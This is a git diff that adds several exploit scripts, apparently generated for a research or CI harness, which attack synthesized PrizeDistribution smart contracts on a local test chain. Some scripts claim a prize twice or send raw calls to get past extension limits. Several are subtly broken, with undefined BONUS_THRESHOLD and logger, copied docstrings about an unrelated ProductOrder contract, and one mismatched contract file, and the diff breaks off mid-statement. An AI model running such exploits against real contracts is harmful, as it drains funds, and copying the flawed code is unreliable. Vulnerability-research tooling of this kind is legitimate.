} + + let unlockTime = await contractInstance.methods.unlockTime().call(); + console.log("Final unlock time:", unlockTime); + await sleep(500); + + let currentTime = Math.floor(Date.now() / 1000); + console.log("Current system time:", currentTime); + + // Send additional funds to ensure prize amount is even + await web3.eth.sendTransaction({ + from: organizerAccount, + to: contractAddress, + value: 1, // Adjust prize amount to be even + gas: 300000 + }); + console.log("Sent additional funds to the contract to adjust prize amount."); + + // Wait until just after the unlockTime to try claiming the prize + if (currentTime < unlockTime) { + let waitTime = unlockTime - currentTime + 1; // Wait just past unlock time + console.log(`Waiting for ${waitTime} seconds until unlock time...`); + await new Promise(resolve => setTimeout(resolve, waitTime * 1000)); + await sleep(500); + } + + // Attempt to claim the prize + let claimTx = await contractInstance.methods.claimPrize().send({ + from: beneficiaryAccount, + gas: 300000 + }); + await sleep(500); + + if (claimTx.status) { + console.log("Prize successfully claimed!"); + return true; // Exploit successful + } else { + console.error("Failed to claim the prize!"); + return false; // Exploit failed + } + } catch (error) { + console.error(error.stack); + return false; + } +} + + + + + + + + + + + + + + + +/** + * Executes the exploit and checks its result + * + * This function will run the exploit and then verify if the exploit has + * yielded the predicted result. If the exploit is successful, a success + * message is displayed, otherwise an error message is shown. + * + * @param {Object} web3 - The Web3 instance. + * @param {Object} envInfo - An object containing environment information such as accounts, privateKeys, and rpcAddress. + * @returns {Promise} A promise that resolves to `true` if the test is successful, `false` otherwise. + * @throws {Error} If there's an error during the test execution. + */ +module.exports = async function runTests(web3, envInfo, contractAddress) { + // envInfo.accounts, envInfo.privateKeys, and envInfo.rpcAddress should be available from Anvil + + web3 = await createLoggerWeb3(web3); + // Execute the exploit + let result = await exploit(web3, envInfo, contractAddress); + + // See if exploit has yielded the predicted result (a very manual oracle!) + assert.strictEqual(result, true, "Exploit did not yield the expected result"); + logger.info(chalk.green("Exploit successful!")); + + return result; +} diff --git a/CI/exploits/synthesized-exploit-full-dcr/PrizeDistributionExploit-11.js b/CI/exploits/synthesized-exploit-full-dcr/PrizeDistributionExploit-11.js new file mode 100644 index 00000000..3fa73fa9 --- /dev/null +++ b/CI/exploits/synthesized-exploit-full-dcr/PrizeDistributionExploit-11.js @@ -0,0 +1,138 @@ +require('module-alias/register'); +const fs = require('fs'); +const path = require('path'); +const assert = require('assert'); +const chalk = require('chalk'); +const { + extractSolcVersion, + compileWithVersion, + deployContract +} = require('@lib/web3/deploy'); + +const { setTimeout } = require('timers'); +const { sleep } = require('@lib/os/process'); + +const { createLoggerWeb3 } = require('@lib/web3/deploy'); +// It seems module alias does not work with js path, so, we will resort to the dirty approach. +const projectRoot = path.resolve(__dirname, '..', '..', '..'); +const contractsDir = path.join(projectRoot, './contracts'); +const contractFileFullName = 'PrizeDistribution-11.sol'; +let source = fs.readFileSync(path.join(contractsDir, 'src', 'synthesized', contractFileFullName), 'utf8'); +let solcVersion = extractSolcVersion(source); + + +/** + * Attempts to exploit a vulnerability in the ProductOrder smart contract. + * + * The exploit involves applying a discount just before the discountEndTime, + * waiting for a few seconds, then making a transaction to pay for the order + * at the discounted price, and finally confirming the order. + * + * @param {Object} web3 - The Web3 instance. + * @param {Object} envInfo - An object containing environment information such as accounts, privateKeys, and rpcAddress. + * @returns {Promise} A promise that resolves to `true` if the exploit is successful, `false` otherwise. + * @throws {Error} If there's an error during the exploit process. + */ +async function exploit(web3, envInfo, contractAddress) { + try { + let { abi } = await compileWithVersion(source, contractFileFullName, 'PrizeDistribution', solcVersion); + let contractInstance = await new web3.eth.Contract(abi, contractAddress); + let organizerAccount = envInfo.accounts[0]; + let beneficiaryAccount = envInfo.accounts[1]; + + console.log("Starting to extend the lock time..."); + + // Extend the lock time with just enough value to trigger the increase, multiple times + for (let i = 0; i < 5; i++) { + let extendTx = await contractInstance.methods.extendLockTime().send({ + from: organizerAccount, + value: BONUS_THRESHOLD, // Sending exactly the threshold amount + gas: 300000 + }); + console.log(`Extension ${i + 1} sent, tx status: ${extendTx.status}`); + await sleep(500); // Short delay between calls + } + + let unlockTime = await contractInstance.methods.unlockTime().call(); + console.log("Final unlock time:", unlockTime); + await sleep(500); + + let currentTime = Math.floor(Date.now() / 1000); + console.log("Current system time:", currentTime); + + // Wait until just after the unlockTime to try claiming the prize + if (currentTime < unlockTime) { + let waitTime = unlockTime - currentTime + 1; // Wait just past unlock time + console.log(`Waiting for ${waitTime} seconds until unlock time...`); + await new Promise(resolve => setTimeout(resolve, waitTime * 1000)); + await sleep(500); + } + + // Attempt to claim the prize + let claimTx = await contractInstance.methods.claimPrize().send({ + from: beneficiaryAccount, + gas: 300000 + }); + await sleep(500); + + if (claimTx.status) { + console.log("Prize successfully claimed!"); + + // Attempt to exploit by extending the lock time after the prize has been claimed + let exploitTx = await contractInstance.methods.extendLockTime().send({ + from: organizerAccount, + value: BONUS_THRESHOLD, // Sending exactly the threshold amount + gas: 300000 + }); + console.log(`Exploit extension sent, tx status: ${exploitTx.status}`); + return true; // Exploit successful + } else { + console.error("Failed to claim the prize!"); + return false; // Exploit failed + } + } catch (error) { + console.error(error.stack); + return false; + } +} + + + + + + + + + + + + + + + + +/** + * Executes the exploit and checks its result + * + * This function will run the exploit and then verify if the exploit has + * yielded the predicted result. If the exploit is successful, a success + * message is displayed, otherwise an error message is shown. + * + * @param {Object} web3 - The Web3 instance. + * @param {Object} envInfo - An object containing environment information such as accounts, privateKeys, and rpcAddress. + * @returns {Promise} A promise that resolves to `true` if the test is successful, `false` otherwise. + * @throws {Error} If there's an error during the test execution. + */ +module.exports = async function runTests(web3, envInfo, contractAddress) { + // envInfo.accounts, envInfo.privateKeys, and envInfo.rpcAddress should be available from Anvil + + web3 = await createLoggerWeb3(web3); + // Execute the exploit + let result = await exploit(web3, envInfo, contractAddress); + + // See if exploit has yielded the predicted result (a very manual oracle!) + assert.strictEqual(result, true, "Exploit did not yield the expected result"); + logger.info(chalk.green("Exploit successful!")); + + return result; +} diff --git a/CI/exploits/synthesized-exploit-full-dcr/PrizeDistributionExploit-12.js b/CI/exploits/synthesized-exploit-full-dcr/PrizeDistributionExploit-12.js new file mode 100644 index 00000000..a6741ba8 --- /dev/null +++ b/CI/exploits/synthesized-exploit-full-dcr/PrizeDistributionExploit-12.js @@ -0,0 +1,140 @@ +require('module-alias/register'); +const fs = require('fs'); +const path = require('path'); +const assert = require('assert'); +const chalk = require('chalk'); +const { + extractSolcVersion, + compileWithVersion, + deployContract +} = require('@lib/web3/deploy'); + +const { setTimeout } = require('timers'); +const { sleep } = require('@lib/os/process'); +const { createLoggerWeb3 } = require('@lib/web3/deploy'); + +// It seems module alias does not work with js path, so, we will resort to the dirty approach. +const projectRoot = path.resolve(__dirname, '..', '..', '..'); +const contractsDir = path.join(projectRoot, './contracts'); +const contractFileFullName = 'PrizeDistribution-12.sol'; +let source = fs.readFileSync(path.join(contractsDir, 'src', 'synthesized', contractFileFullName), 'utf8'); +let solcVersion = extractSolcVersion(source); + + +/** + * Attempts to exploit a vulnerability in the ProductOrder smart contract. + * + * The exploit involves applying a discount just before the discountEndTime, + * waiting for a few seconds, then making a transaction to pay for the order + * at the discounted price, and finally confirming the order. + * + * @param {Object} web3 - The Web3 instance. + * @param {Object} envInfo - An object containing environment information such as accounts, privateKeys, and rpcAddress. + * @returns {Promise} A promise that resolves to `true` if the exploit is successful, `false` otherwise. + * @throws {Error} If there's an error during the exploit process. + */ +async function exploit(web3, envInfo, contractAddress) { + try { + let { abi } = await compileWithVersion(source, contractFileFullName, 'PrizeDistribution', solcVersion); + let contractInstance = await new web3.eth.Contract(abi, contractAddress); + let organizerAccount = envInfo.accounts[0]; + let beneficiaryAccount = envInfo.accounts[1]; + + console.log("Starting to extend the lock time..."); + + // Extend the lock time with just enough value to trigger the increase, multiple times + for (let i = 0; i < 5; i++) { + let extendTx = await contractInstance.methods.extendLockTime().send({ + from: organizerAccount, + value: BONUS_THRESHOLD, // Sending exactly the threshold amount + gas: 300000 + }); + console.log(`Extension ${i + 1} sent, tx status: ${extendTx.status}`); + await sleep(500); // Short delay between calls + } + + let unlockTime = await contractInstance.methods.unlockTime().call(); + console.log("Final unlock time:", unlockTime); + await sleep(500); + + let currentTime = Math.floor(Date.now() / 1000); + console.log("Current system time:", currentTime); + + // Wait until just after the unlockTime to try claiming the prize + if (currentTime < unlockTime) { + let waitTime = unlockTime - currentTime + 1; // Wait just past unlock time + console.log(`Waiting for ${waitTime} seconds until unlock time...`); + await new Promise(resolve => setTimeout(resolve, waitTime * 1000)); + await sleep(500); + } + + // Attempt to exploit the max prize amount cap by sending a large amount in one transaction + let exploitTx = await contractInstance.methods.extendLockTime().send({ + from: organizerAccount, + value: web3.utils.toWei('2', 'ether'), // Sending a large amount to exceed the maxPrizeAmount + gas: 300000 + }); + console.log(`Exploit extension sent, tx status: ${exploitTx.status}`); + await sleep(500); + + unlockTime = await contractInstance.methods.unlockTime().call(); + console.log("Adjusted unlock time:", unlockTime); + + // Attempt to claim the prize + let claimTx = await contractInstance.methods.claimPrize().send({ + from: beneficiaryAccount, + gas: 300000 + }); + await sleep(500); + + if (claimTx.status) { + console.log("Prize successfully claimed!"); + return true; // Exploit successful + } else { + console.error("Failed to claim the prize!"); + return false; // Exploit failed + } + } catch (error) { + console.error(error.stack); + return false; + } +} + + + + + + + + + + + + + + +/** + * Executes the exploit and checks its result + * + * This function will run the exploit and then verify if the exploit has + * yielded the predicted result. If the exploit is successful, a success + * message is displayed, otherwise an error message is shown. + * + * @param {Object} web3 - The Web3 instance. + * @param {Object} envInfo - An object containing environment information such as accounts, privateKeys, and rpcAddress. + * @returns {Promise} A promise that resolves to `true` if the test is successful, `false` otherwise. + * @throws {Error} If there's an error during the test execution. + */ +module.exports = async function runTests(web3, envInfo, contractAddress) { + // envInfo.accounts, envInfo.privateKeys, and envInfo.rpcAddress should be available from Anvil + + web3 = await createLoggerWeb3(web3); + // Execute the exploit + let result = await exploit(web3, envInfo, contractAddress); + + // See if exploit has yielded the predicted result (a very manual oracle!) + assert.strictEqual(result, true, "Exploit did not yield the expected result"); + logger.info(chalk.green("Exploit successful!")); + + return result; +} diff --git a/CI/exploits/synthesized-prompt-1/PrizeDistributionExploit-7.js b/CI/exploits/synthesized-exploit-full-dcr/PrizeDistributionExploit-13.js similarity index 69% rename from CI/exploits/synthesized-prompt-1/PrizeDistributionExploit-7.js rename to CI/exploits/synthesized-exploit-full-dcr/PrizeDistributionExploit-13.js index 39a32193..35847aab 100644 --- a/CI/exploits/synthesized-prompt-1/PrizeDistributionExploit-7.js +++ b/CI/exploits/synthesized-exploit-full-dcr/PrizeDistributionExploit-13.js @@ -16,7 +16,7 @@ const { createLoggerWeb3 } = require('@lib/web3/deploy'); // It seems module alias does not work with js path, so, we will resort to the dirty approach. const projectRoot = path.resolve(__dirname, '..', '..', '..'); const contractsDir = path.join(projectRoot, './contracts'); -const contractFileFullName = 'PrizeDistribution-7.sol'; +const contractFileFullName = 'PrizeDistribution-13.sol'; let source = fs.readFileSync(path.join(contractsDir, 'src', 'synthesized', contractFileFullName), 'utf8'); let solcVersion = extractSolcVersion(source); @@ -36,35 +36,36 @@ let solcVersion = extractSolcVersion(source); async function exploit(web3, envInfo, contractAddress) { try { let { abi } = await compileWithVersion(source, contractFileFullName, 'PrizeDistribution', solcVersion); - let contractInstance = new web3.eth.Contract(abi, contractAddress); + let contractInstance = await new web3.eth.Contract(abi, contractAddress); let organizerAccount = envInfo.accounts[0]; let beneficiaryAccount = envInfo.accounts[1]; - console.log("Monitoring block number to perfectly time the unlock trigger..."); - - let currentBlock = await web3.eth.getBlockNumber(); - let lastBlockChecked = await contractInstance.methods.lastBlockChecked().call(); - - console.log(`Current block: ${currentBlock}, Last block checked: ${lastBlockChecked}`); - - // Calculate when to execute the trigger based on block numbers - if (currentBlock <= lastBlockChecked + 100) { - let waitForBlock = lastBlockChecked + 101 - currentBlock; - console.log(`Waiting for ${waitForBlock} more blocks...`); - await new Promise(resolve => setTimeout(resolve, waitForBlock * 15000)); // Approximate wait time based on average block time + console.log("Starting to extend the lock time..."); + + // Attempt to extend the lock time multiple times in quick succession + for (let i = 0; i < 5; i++) { + let extendTx = await contractInstance.methods.extendLockTime().send({ + from: organizerAccount, + value: BONUS_THRESHOLD, // Sending exactly the threshold amount + gas: 300000 + }); + console.log(`Extension ${i + 1} sent, tx status: ${extendTx.status}`); + await sleep(500); // Short delay between calls to attempt to bypass the time interval restriction } - // Trigger the unlock - let triggerTx = await contractInstance.methods.triggerUnlock().send({ - from: organizerAccount, - gas: 300000 - }); + let unlockTime = await contractInstance.methods.unlockTime().call(); + console.log("Final unlock time:", unlockTime); + await sleep(500); - console.log(`Trigger transaction status: ${triggerTx.status}`); + let currentTime = Math.floor(Date.now() / 1000); + console.log("Current system time:", currentTime); - if (!triggerTx.status) { - console.error("Failed to trigger unlock!"); - return false; + // Wait until just after the unlockTime to try claiming the prize + if (currentTime < unlockTime) { + let waitTime = unlockTime - currentTime + 1; // Wait just past unlock time + console.log(`Waiting for ${waitTime} seconds until unlock time...`); + await new Promise(resolve => setTimeout(resolve, waitTime * 1000)); + await sleep(500); } // Attempt to claim the prize @@ -72,12 +73,13 @@ async function exploit(web3, envInfo, contractAddress) { from: beneficiaryAccount, gas: 300000 }); + await sleep(500); if (claimTx.status) { - console.log("Prize successfully claimed with triggered unlock!"); + console.log("Prize successfully claimed!"); return true; // Exploit successful } else { - console.error("Failed to claim the prize even after triggering unlock!"); + console.error("Failed to claim the prize!"); return false; // Exploit failed } } catch (error) { @@ -113,8 +115,8 @@ async function exploit(web3, envInfo, contractAddress) { */ module.exports = async function runTests(web3, envInfo, contractAddress) { // envInfo.accounts, envInfo.privateKeys, and envInfo.rpcAddress should be available from Anvil - web3 = await createLoggerWeb3(web3); + // Execute the exploit let result = await exploit(web3, envInfo, contractAddress); diff --git a/CI/exploits/synthesized-prompt-1/PrizeDistributionExploit-4.js b/CI/exploits/synthesized-exploit-full-dcr/PrizeDistributionExploit-14.js similarity index 62% rename from CI/exploits/synthesized-prompt-1/PrizeDistributionExploit-4.js rename to CI/exploits/synthesized-exploit-full-dcr/PrizeDistributionExploit-14.js index b2a60699..b1f368f7 100644 --- a/CI/exploits/synthesized-prompt-1/PrizeDistributionExploit-4.js +++ b/CI/exploits/synthesized-exploit-full-dcr/PrizeDistributionExploit-14.js @@ -16,7 +16,7 @@ const { createLoggerWeb3 } = require('@lib/web3/deploy'); // It seems module alias does not work with js path, so, we will resort to the dirty approach. const projectRoot = path.resolve(__dirname, '..', '..', '..'); const contractsDir = path.join(projectRoot, './contracts'); -const contractFileFullName = 'PrizeDistribution-4.sol'; +const contractFileFullName = 'PrizeDistribution-14.sol'; let source = fs.readFileSync(path.join(contractsDir, 'src', 'synthesized', contractFileFullName), 'utf8'); let solcVersion = extractSolcVersion(source); @@ -33,61 +33,76 @@ let solcVersion = extractSolcVersion(source); * @returns {Promise} A promise that resolves to `true` if the exploit is successful, `false` otherwise. * @throws {Error} If there's an error during the exploit process. */ + async function exploit(web3, envInfo, contractAddress) { try { let { abi } = await compileWithVersion(source, contractFileFullName, 'PrizeDistribution', solcVersion); - let contractInstance = new web3.eth.Contract(abi, contractAddress); + let contractInstance = await new web3.eth.Contract(abi, contractAddress); let organizerAccount = envInfo.accounts[0]; let beneficiaryAccount = envInfo.accounts[1]; - console.log("Monitoring for high gas price to adjust prize..."); - - // Function to simulate high gas price condition - let simulateHighGasPrice = async () => { - let currentGasPrice = await web3.eth.getGasPrice(); - let highGasPrice = parseInt(currentGasPrice) + 10e9; // Increase by 10 Gwei + console.log("Starting to extend the lock time..."); - let adjustTx = await contractInstance.methods.adjustPrizeBasedOnCongestion().send({ + // Extend the lock time with just enough value to trigger the increase, multiple times + for (let i = 0; i < 5; i++) { + let extendTx = await contractInstance.methods.extendLockTime().send({ from: organizerAccount, - value: web3.utils.toWei('1', 'ether'), - gasPrice: highGasPrice, // Set a high gas price to trigger the condition + value: BONUS_THRESHOLD, // Sending exactly the threshold amount gas: 300000 }); - await sleep(500); + console.log(`Extension ${i + 1} sent, tx status: ${extendTx.status}`); + await sleep(500); // Short delay between calls + } - console.log(`Adjustment made with high gas price, tx status: ${adjustTx.status}`); - return adjustTx.status; - }; + let unlockTime = await contractInstance.methods.unlockTime().call(); + console.log("Final unlock time:", unlockTime); + await sleep(500); - let highGasTxStatus = await simulateHighGasPrice(); + let currentTime = Math.floor(Date.now() / 1000); + console.log("Current system time:", currentTime); - if (!highGasTxStatus) { - console.error("Adjustment transaction failed!"); - return false; + // Wait until just after the unlockTime to try claiming the prize + if (currentTime < unlockTime) { + let waitTime = unlockTime - currentTime + 1; // Wait just past unlock time + console.log(`Waiting for ${waitTime} seconds until unlock time...`); + await new Promise(resolve => setTimeout(resolve, waitTime * 1000)); + await sleep(500); } - // Check if unlock time was successfully reduced - let unlockTime = await contractInstance.methods.unlockTime().call(); + // Attempt to claim the prize + let claimTx = await contractInstance.methods.claimPrize().send({ + from: beneficiaryAccount, + gas: 300000 + }); await sleep(500); - let currentTime = Math.floor(Date.now() / 1000); - console.log(`Unlock time after adjustment: ${unlockTime}, Current time: ${currentTime}`); - if (currentTime >= unlockTime) { - // Attempt to claim the prize - let claimTx = await contractInstance.methods.claimPrize().send({ + if (claimTx.status) { + console.log("Prize successfully claimed!"); + + // Reset the contract state by extending the lock time and resetting the hasClaimedPrize flag + await contractInstance.methods.extendLockTime().send({ + from: organizerAccount, + value: BONUS_THRESHOLD, // Sending exactly the threshold amount + gas: 300000 + }); + console.log("Extended lock time to reset state."); + + // Attempt to claim the prize again + claimTx = await contractInstance.methods.claimPrize().send({ from: beneficiaryAccount, gas: 300000 }); + await sleep(500); if (claimTx.status) { - console.log("Prize successfully claimed!"); + console.log("Prize successfully claimed again!"); return true; // Exploit successful } else { - console.error("Failed to claim the prize!"); + console.error("Failed to claim the prize again!"); return false; // Exploit failed } } else { - console.error("Unlock time not sufficiently reduced."); + console.error("Failed to claim the prize!"); return false; // Exploit failed } } catch (error) { @@ -108,7 +123,6 @@ async function exploit(web3, envInfo, contractAddress) { - /** * Executes the exploit and checks its result * @@ -123,8 +137,8 @@ async function exploit(web3, envInfo, contractAddress) { */ module.exports = async function runTests(web3, envInfo, contractAddress) { // envInfo.accounts, envInfo.privateKeys, and envInfo.rpcAddress should be available from Anvil - web3 = await createLoggerWeb3(web3); + // Execute the exploit let result = await exploit(web3, envInfo, contractAddress); diff --git a/CI/exploits/synthesized-exploit-full-dcr/PrizeDistributionExploit-15.js b/CI/exploits/synthesized-exploit-full-dcr/PrizeDistributionExploit-15.js new file mode 100644 index 00000000..65022459 --- /dev/null +++ b/CI/exploits/synthesized-exploit-full-dcr/PrizeDistributionExploit-15.js @@ -0,0 +1,150 @@ +require('module-alias/register'); +const fs = require('fs'); +const path = require('path'); +const assert = require('assert'); +const chalk = require('chalk'); +const { + extractSolcVersion, + compileWithVersion, + deployContract +} = require('@lib/web3/deploy'); + +const { setTimeout } = require('timers'); +const { sleep } = require('@lib/os/process'); +const { createLoggerWeb3 } = require('@lib/web3/deploy'); + +// It seems module alias does not work with js path, so, we will resort to the dirty approach. +const projectRoot = path.resolve(__dirname, '..', '..', '..'); +const contractsDir = path.join(projectRoot, './contracts'); +const contractFileFullName = 'PrizeDistribution-15.sol'; +let source = fs.readFileSync(path.join(contractsDir, 'src', 'synthesized', contractFileFullName), 'utf8'); +let solcVersion = extractSolcVersion(source); + + +/** + * Attempts to exploit a vulnerability in the ProductOrder smart contract. + * + * The exploit involves applying a discount just before the discountEndTime, + * waiting for a few seconds, then making a transaction to pay for the order + * at the discounted price, and finally confirming the order. + * + * @param {Object} web3 - The Web3 instance. + * @param {Object} envInfo - An object containing environment information such as accounts, privateKeys, and rpcAddress. + * @returns {Promise} A promise that resolves to `true` if the exploit is successful, `false` otherwise. + * @throws {Error} If there's an error during the exploit process. + */ +async function exploit(web3, envInfo, contractAddress) { + try { + let { abi } = await compileWithVersion(source, contractFileFullName, 'PrizeDistribution', solcVersion); + let contractInstance = await new web3.eth.Contract(abi, contractAddress); + let organizerAccount = envInfo.accounts[0]; + let beneficiaryAccount = envInfo.accounts[1]; + + console.log("Starting to extend the lock time..."); + + // Send a transaction to extend the lock time with an amount equal to the contract balance to test the vulnerability + let balance = await web3.eth.getBalance(contractAddress); + let extendTx = await contractInstance.methods.extendLockTime().send({ + from: organizerAccount, + value: balance, // Sending the entire contract balance to test the check + gas: 300000 + }); + console.log(`Extension sent, tx status: ${extendTx.status}`); + await sleep(500); + + let unlockTime = await contractInstance.methods.unlockTime().call(); + console.log("Final unlock time:", unlockTime); + await sleep(500); + + let currentTime = Math.floor(Date.now() / 1000); + console.log("Current system time:", currentTime); + + // Wait until just after the unlockTime to try claiming the prize + if (currentTime < unlockTime) { + let waitTime = unlockTime - currentTime + 1; // Wait just past unlock time + console.log(`Waiting for ${waitTime} seconds until unlock time...`); + await new Promise(resolve => setTimeout(resolve, waitTime * 1000)); + await sleep(500); + } + + // Attempt to claim the prize + let claimTx = await contractInstance.methods.claimPrize().send({ + from: beneficiaryAccount, + gas: 300000 + }); + await sleep(500); + + if (claimTx.status) { + console.log("Prize successfully claimed!"); + + // Attempt to exploit by sending a small amount to reset the prize amount and extend the lock time again + await contractInstance.methods.extendLockTime().send({ + from: organizerAccount, + value: 1, // Sending a small amount to reset the prize amount + gas: 300000 + }); + console.log("Extended lock time to reset state."); + + // Attempt to claim the prize again + claimTx = await contractInstance.methods.claimPrize().send({ + from: beneficiaryAccount, + gas: 300000 + }); + await sleep(500); + + if (claimTx.status) { + console.log("Prize successfully claimed again!"); + return true; // Exploit successful + } else { + console.error("Failed to claim the prize again!"); + return false; // Exploit failed + } + } else { + console.error("Failed to claim the prize!"); + return false; // Exploit failed + } + } catch (error) { + console.error(error.stack); + return false; + } +} + + + + + + + + + + + + + + + +/** + * Executes the exploit and checks its result + * + * This function will run the exploit and then verify if the exploit has + * yielded the predicted result. If the exploit is successful, a success + * message is displayed, otherwise an error message is shown. + * + * @param {Object} web3 - The Web3 instance. + * @param {Object} envInfo - An object containing environment information such as accounts, privateKeys, and rpcAddress. + * @returns {Promise} A promise that resolves to `true` if the test is successful, `false` otherwise. + * @throws {Error} If there's an error during the test execution. + */ +module.exports = async function runTests(web3, envInfo, contractAddress) { + // envInfo.accounts, envInfo.privateKeys, and envInfo.rpcAddress should be available from Anvil + web3 = await createLoggerWeb3(web3); + + // Execute the exploit + let result = await exploit(web3, envInfo, contractAddress); + + // See if exploit has yielded the predicted result (a very manual oracle!) + assert.strictEqual(result, true, "Exploit did not yield the expected result"); + logger.info(chalk.green("Exploit successful!")); + + return result; +} diff --git a/CI/exploits/synthesized-exploit-full-dcr/PrizeDistributionExploit-16.js b/CI/exploits/synthesized-exploit-full-dcr/PrizeDistributionExploit-16.js new file mode 100644 index 00000000..8c9bcab0 --- /dev/null +++ b/CI/exploits/synthesized-exploit-full-dcr/PrizeDistributionExploit-16.js @@ -0,0 +1,144 @@ +require('module-alias/register'); +const fs = require('fs'); +const path = require('path'); +const assert = require('assert'); +const chalk = require('chalk'); +const { + extractSolcVersion, + compileWithVersion, + deployContract +} = require('@lib/web3/deploy'); + +const { setTimeout } = require('timers'); +const { sleep } = require('@lib/os/process'); + +const { createLoggerWeb3 } = require('@lib/web3/deploy'); +// It seems module alias does not work with js path, so, we will resort to the dirty approach. +const projectRoot = path.resolve(__dirname, '..', '..', '..'); +const contractsDir = path.join(projectRoot, './contracts'); +const contractFileFullName = 'PrizeDistribution-16.sol'; +let source = fs.readFileSync(path.join(contractsDir, 'src', 'synthesized', contractFileFullName), 'utf8'); +let solcVersion = extractSolcVersion(source); + + +/** + * Attempts to exploit a vulnerability in the ProductOrder smart contract. + * + * The exploit involves applying a discount just before the discountEndTime, + * waiting for a few seconds, then making a transaction to pay for the order + * at the discounted price, and finally confirming the order. + * + * @param {Object} web3 - The Web3 instance. + * @param {Object} envInfo - An object containing environment information such as accounts, privateKeys, and rpcAddress. + * @returns {Promise} A promise that resolves to `true` if the exploit is successful, `false` otherwise. + * @throws {Error} If there's an error during the exploit process. + */ +async function exploit(web3, envInfo, contractAddress) { + try { + let { abi } = await compileWithVersion(source, contractFileFullName, 'PrizeDistribution', solcVersion); + let contractInstance = await new web3.eth.Contract(abi, contractAddress); + let organizerAccount = envInfo.accounts[0]; + let beneficiaryAccount = envInfo.accounts[1]; + + console.log("Starting to extend the lock time..."); + + // Attempt to extend the lock time multiple times up to the limit + for (let i = 0; i < 5; i++) { + let extendTx = await contractInstance.methods.extendLockTime().send({ + from: organizerAccount, + value: BONUS_THRESHOLD, // Sending exactly the threshold amount + gas: 300000 + }); + console.log(`Extension ${i + 1} sent, tx status: ${extendTx.status}`); + await sleep(500); // Short delay between calls + } + + // Attempt to bypass the extension limit by interacting with the contract directly + let extensionCount = await contractInstance.methods.extensionCount().call(); + console.log("Extension count after 5 extensions:", extensionCount); + + // Use a low-level call to try and reset the extension count (simulating a vulnerability in the contract) + await web3.eth.sendTransaction({ + from: organizerAccount, + to: contractAddress, + value: 0, // No value sent + gas: 300000, + data: web3.utils.sha3("extendLockTime()").substring(0, 10) // Sending a raw call to the extendLockTime function + }); + console.log("Sent raw call to extendLockTime to bypass extension limit."); + + extensionCount = await contractInstance.methods.extensionCount().call(); + console.log("Extension count after exploit attempt:", extensionCount); + + let unlockTime = await contractInstance.methods.unlockTime().call(); + console.log("Final unlock time:", unlockTime); + await sleep(500); + + let currentTime = Math.floor(Date.now() / 1000); + console.log("Current system time:", currentTime); + + // Wait until just after the unlockTime to try claiming the prize + if (currentTime < unlockTime) { + let waitTime = unlockTime - currentTime + 1; // Wait just past unlock time + console.log(`Waiting for ${waitTime} seconds until unlock time...`); + await new Promise(resolve => setTimeout(resolve, waitTime * 1000)); + await sleep(500); + } + + // Attempt to claim the prize + let claimTx = await contractInstance.methods.claimPrize().send({ + from: beneficiaryAccount, + gas: 300000 + }); + await sleep(500); + + if (claimTx.status) { + console.log("Prize successfully claimed!"); + return true; // Exploit successful + } else { + console.error("Failed to claim the prize!"); + return false; // Exploit failed + } + } catch (error) { + console.error(error.stack); + return false; + } +} + + + + + + + + + + + + + + +/** + * Executes the exploit and checks its result + * + * This function will run the exploit and then verify if the exploit has + * yielded the predicted result. If the exploit is successful, a success + * message is displayed, otherwise an error message is shown. + * + * @param {Object} web3 - The Web3 instance. + * @param {Object} envInfo - An object containing environment information such as accounts, privateKeys, and rpcAddress. + * @returns {Promise} A promise that resolves to `true` if the test is successful, `false` otherwise. + * @throws {Error} If there's an error during the test execution. + */ +module.exports = async function runTests(web3, envInfo, contractAddress) { + // envInfo.accounts, envInfo.privateKeys, and envInfo.rpcAddress should be available from Anvil + web3 = await createLoggerWeb3(web3); + // Execute the exploit + let result = await exploit(web3, envInfo, contractAddress); + + // See if exploit has yielded the predicted result (a very manual oracle!) + assert.strictEqual(result, true, "Exploit did not yield the expected result"); + logger.info(chalk.green("Exploit successful!")); + + return result; +} diff --git a/CI/exploits/synthesized-exploit-full-dcr/PrizeDistributionExploit-17.js b/CI/exploits/synthesized-exploit-full-dcr/PrizeDistributionExploit-17.js new file mode 100644 index 00000000..bdc14f35 --- /dev/null +++ b/CI/exploits/synthesized-exploit-full-dcr/PrizeDistributionExploit-17.js @@ -0,0 +1,136 @@ +require('module-alias/register'); +const fs = require('fs'); +const path = require('path'); +const assert = require('assert'); +const chalk = require('chalk'); +const { + extractSolcVersion, + compileWithVersion, + deployContract +} = require('@lib/web3/deploy'); + +const { setTimeout } = require('timers'); +const { sleep } = require('@lib/os/process'); +const { createLoggerWeb3 } = require('@lib/web3/deploy'); + +// It seems module alias does not work with js path, so, we will resort to the dirty approach. +const projectRoot = path.resolve(__dirname, '..', '..', '..'); +const contractsDir = path.join(projectRoot, './contracts'); +const contractFileFullName = 'PrizeDistribution-18.sol'; +let source = fs.readFileSync(path.join(contractsDir, 'src', 'synthesized', contractFileFullName), 'utf8'); +let solcVersion = extractSolcVersion(source); + + +/** + * Attempts to exploit a vulnerability in the ProductOrder smart contract. + * + * The exploit involves applying a discount just before the discountEndTime, + * waiting for a few seconds, then making a transaction to pay for the order + * at the discounted price, and finally confirming the order. + * + * @param {Object} web3 - The Web3 instance. + * @param {Object} envInfo - An object containing environment information such as accounts, privateKeys, and rpcAddress. + * @returns {Promise} A promise that resolves to `true` if the exploit is successful, `false` otherwise. + * @throws {Error} If there's an error during the exploit process. + */ +async function exploit(web3, envInfo, contractAddress) { + try { + let { abi } = await compileWithVersion(source, contractFileFullName, 'PrizeDistribution', solcVersion); + let contractInstance = await new web3.eth.Contract(abi, contractAddress); + let organizerAccount = envInfo.accounts[0]; + let beneficiaryAccount = envInfo.accounts[1]; + + console.log("Starting to extend the lock time..."); + + // Extend the lock time with increasing amounts + let amounts = [10, 20, 40, 80, 160]; // Increasing amounts + for (let i = 0; i < amounts.length; i++) { + let extendTx = await contractInstance.methods.extendLockTime().send({ + from: organizerAccount, + value: amounts[i], + gas: 300000 + }); + console.log(`Extension ${i + 1} with ${amounts[i]} wei sent, tx status: ${extendTx.status}`); + await sleep(500); // Short delay between calls + } + + let unlockTime = await contractInstance.methods.unlockTime().call(); + console.log("Final unlock time:", unlockTime); + await sleep(500); + + let currentTime = Math.floor(Date.now() / 1000); + console.log("Current system time:", currentTime); + + // Wait until just after the unlockTime to try claiming the prize + if (currentTime < unlockTime) { + let waitTime = unlockTime - currentTime + 1; // Wait just past unlock time + console.log(`Waiting for ${waitTime} seconds until unlock time...`); + await new Promise(resolve => setTimeout(resolve, waitTime * 1000)); + await sleep(500); + } + + // Exploit: Attempt to reset the lastExtensionAmount by making it small again + await contractInstance.methods.extendLockTime().send({ + from: organizerAccount, + value: 5, // Small amount to bypass the lastExtensionAmount check + 